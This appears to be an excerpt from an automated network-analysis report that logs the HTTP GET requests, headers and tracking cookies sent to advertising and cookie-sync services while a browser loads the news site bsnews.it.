Source: global traffic	HTTP traffic detected: GET /dmp/async_usersync.html HTTP/1.1Host: acdn.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=FSn7X5NeciEMQOCcjHxXHqehzn-v4svBsj-gMw-pgwSgQCfMLVcv8zsZGedeIaeQHaHBYiGUTPoYHQhuiVJPrQfUeNdxFRZDxgmjjszNmB4.; icu=ChgIjq9kEAoYASABKAEwh9-UsAY4AUABSAEQh9-UsAYYAA..; receive-cookie-deprecation=1; uuid2=3287041831475129344
Source: global traffic	HTTP traffic detected: GET /um/ixmatch.html HTTP/1.1Host: js-sec.indexww.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=index&google_cm&google_hm=ZgUvi9HM46UAADq7ABhzMwAACsEAAAIB&gdpr_consent=&us_privacy=&gdpr=&gpp=&gpp_sid= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /iframe?pbjs=1&coppa=0 HTTP/1.1Host: sync.admanmedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/cmf/casale HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=a109dc60-dc7c-45e5-ab53-e2448a53420f; TDCPM=CAEYASABKAIyCwjY_OG338PnPBAFOAFaB25lb2RhdGFgAg..
Source: global traffic	HTTP traffic detected: GET /visitor/isync?uid=19340f4f097d16f41f34fc0274981ca4&gdpr=0&gdpr_consent= HTTP/1.1Host: visitor.omnitagjs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ayl_visitor=b6fcc9c759d2693b00a026e6708e7344
Source: global traffic	HTTP traffic detected: GET /connectId-gpt.js HTTP/1.1Host: connectid.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=openx&google_hm=MDFhMTZlYzMtOGM5NC02YzNiLTdjNDctMGNhZDRhZmJlODg3 HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://us-u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /uid2SecureSignal.js HTTP/1.1Host: cdn.prod.uidapi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /a16582f729b43087fa6353b148f7ea54/?uid=a109dc60-dc7c-45e5-ab53-e2448a53420f&gdpr=0&euconsent=&domain=sync.richaudience.com HTTP/1.1Host: sync.richaudience.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sync.richaudience.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pdid=2c9d0f98-4385-4c43-ba27-1zz1711615376; raibs=1
Source: global traffic	HTTP traffic detected: GET /hb/ HTTP/1.1Host: shb.richaudience.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pdid=2c9d0f98-4385-4c43-ba27-1zz1711615376; raibs=1
Source: global traffic	HTTP traffic detected: GET /lb/v1 HTTP/1.1Host: lb.eu-1-id5-sync.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://bsnews.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=openx&google_cm&google_sc HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://us-u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=zeotap_ddp&google_cm&google_hm=NWI5NWEzZGItMWEzYS00YzVkLTdiYzQtODA1ZjEyOGQ4NTFi&zpartnerid=1&env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648 HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://spl.zeotap.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmPjRXU116N4cALuUcO4mFSiWH6-xzO8kDIV2B1GvhWpP82j3l9eYwyWrfzUE0
Source: global traffic	HTTP traffic detected: GET /2066127a3f7c6635eb4f6cac536feb5a/?gdpr=0&euconsent=&uid=ZgUvi9HM46UAADq7ABhzMwAACsEAAAIB HTTP/1.1Host: sync.richaudience.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pdid=2c9d0f98-4385-4c43-ba27-1zz1711615376; raibs=1
Source: global traffic	HTTP traffic detected: GET /dmp/pixelSync?nid=48 HTTP/1.1Host: pixel-sync.sitescout.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cm/api/index?cm_dsp_id=191&cm_user_id=%3cIndex_user_id%3e HTTP/1.1Host: dmp.brand-display.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/31327?bidder_id=14481&bidder_uuid=ZgUvi9HM46UAADq7ABhzMwAA%262753&gpdr=&gdpr_consent=&us_privacy=&gpp=&gpp_sid= HTTP/1.1Host: i.liadm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync/openx/b909db4d-d54f-a0d6-5870-40e17f4eebae?gdpr=0 HTTP/1.1Host: pr-bh.ybp.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://us-u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dcm?pid=6e1b1225-4dd8-4d7d-b277-465574a27014&id=7518c174-5949-8965-a9a9-d483e82aed07 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://us-u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dcm?pid=78af914c-e755-4b90-bded-1b172aedc763&us_privacy=&gdpr=&gdpr_consent=&id=ZgUvi9HM46UAADq7ABhzMwAACsEAAAIB&gpp=&gpp_sid= HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel/cookiesync?source=67e94f23-25d6-4008-8236-375d1743c2e0&secure=1 HTTP/1.1Host: bttrack.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gh/prebid/shared-id/pubcid.js/docs/pubcid.min.js HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /esp.js HTTP/1.1Host: oa.openxcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/ld/publishertag.ids.js HTTP/1.1Host: static.criteo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pm_match?https://dsum-sec.casalemedia.com/crum?cm_dsp_id=90&external_user_id=$UID HTTP/1.1Host: um.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cm?eid=a109dc60-dc7c-45e5-ab53-e2448a53420f&pv=TDD&sid=1011&rt=img&rnd=1714207885 HTTP/1.1Host: tracker.neodatagroup.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cProfile=AQMdCINwxgW/AAAAAAAEAAABjpjbKGMAB2RlZmF1bHQ=; cP=AT8DHQiDcMYFvwAAAAABs0lT; tr=loCAwICAwA==; cOptout=0\|yocToken:7AdUuQDnS44iVs6ZYu1ohLMYeJE
Source: global traffic	HTTP traffic detected: GET /rest/v1/sites/123231640/posts/95325/likes?http_envelope=1&chronological=true HTTP/1.1Host: public-api.wordpress.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://public-api.wordpress.com/wp-admin/rest-proxy/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /iframe/external_libs.v2.js HTTP/1.1Host: cstatic.weborama.frConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cstatic.weborama.fr/iframe/sync.html?key=all&src=products.js&ref=bsnews.itAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537072971&val=a109dc60-dc7c-45e5-ab53-e2448a53420f&ttd_puid=2dcebd09-45e3-329f-69a7-5614801926e7&gdpr=0&gdpr_consent= HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://us-u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=fe628250-ec64-0d68-3371-9efce43e151a\|1711615883; pd=v2\|1711615884\|vMgavPkWgyiK
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=2xlgrzl&ttd_tpi=1&ttd_puid=env%3DmWeb%26eventType%3Dpageview%26id_mid_4%3D5b95a3db-1a3a-4c5d-7bc4-805f128d851b%26reqId%3D212c3ed0-3dd8-4750-606c-8892c7edded6%26zdid%3D648&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://spl.zeotap.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=a109dc60-dc7c-45e5-ab53-e2448a53420f; TDCPM=CAEYASACKAIyCwjY_OG338PnPBAFOAFaB25lb2RhdGFgAg..
Source: global traffic	HTTP traffic detected: GET /misc/img?mop_seq=0:1&mt_cb=363302&mop_top= HTTP/1.1Host: pixel.mathtag.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pixel.mathtag.com/sync/iframe?mt_uuid=e37d6605-2f8b-4a00-8c65-7b6f95886a26&no_iframe=1&exsync=https%3A%2F%2Ftrz.neodatagroup.com%2Fcm%3Fsid%3D1011%26pv%3DMEDIAMATH%26eid%3D%5BMM_UUID%5D%26rt%3Dimg%26rnd%3D436232701635&mt_exid=10082&source=mathtagAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uuid=e37d6605-2f8b-4a00-8c65-7b6f95886a26
Source: global traffic	HTTP traffic detected: GET /getuid?https://mwzeom.zeotap.com/mw?adnxs_uid=$UID&zpartnerid=2&env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648 HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://spl.zeotap.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=FSn7X5NeciEMQOCcjHxXHqehzn-v4svBsj-gMw-pgwSgQCfMLVcv8zsZGedeIaeQHaHBYiGUTPoYHQhuiVJPrQfUeNdxFRZDxgmjjszNmB4.; icu=ChgIjq9kEAoYASABKAEwh9-UsAY4AUABSAEQh9-UsAYYAA..; receive-cookie-deprecation=1; uuid2=3287041831475129344
Source: global traffic	HTTP traffic detected: GET /comp/img?mt_id=99&ns=xx&bcdv=0 HTTP/1.1Host: pixel.mathtag.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pixel.mathtag.com/sync/iframe?mt_uuid=e37d6605-2f8b-4a00-8c65-7b6f95886a26&no_iframe=1&exsync=https%3A%2F%2Ftrz.neodatagroup.com%2Fcm%3Fsid%3D1011%26pv%3DMEDIAMATH%26eid%3D%5BMM_UUID%5D%26rt%3Dimg%26rnd%3D436232701635&mt_exid=10082&source=mathtagAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uuid=e37d6605-2f8b-4a00-8c65-7b6f95886a26
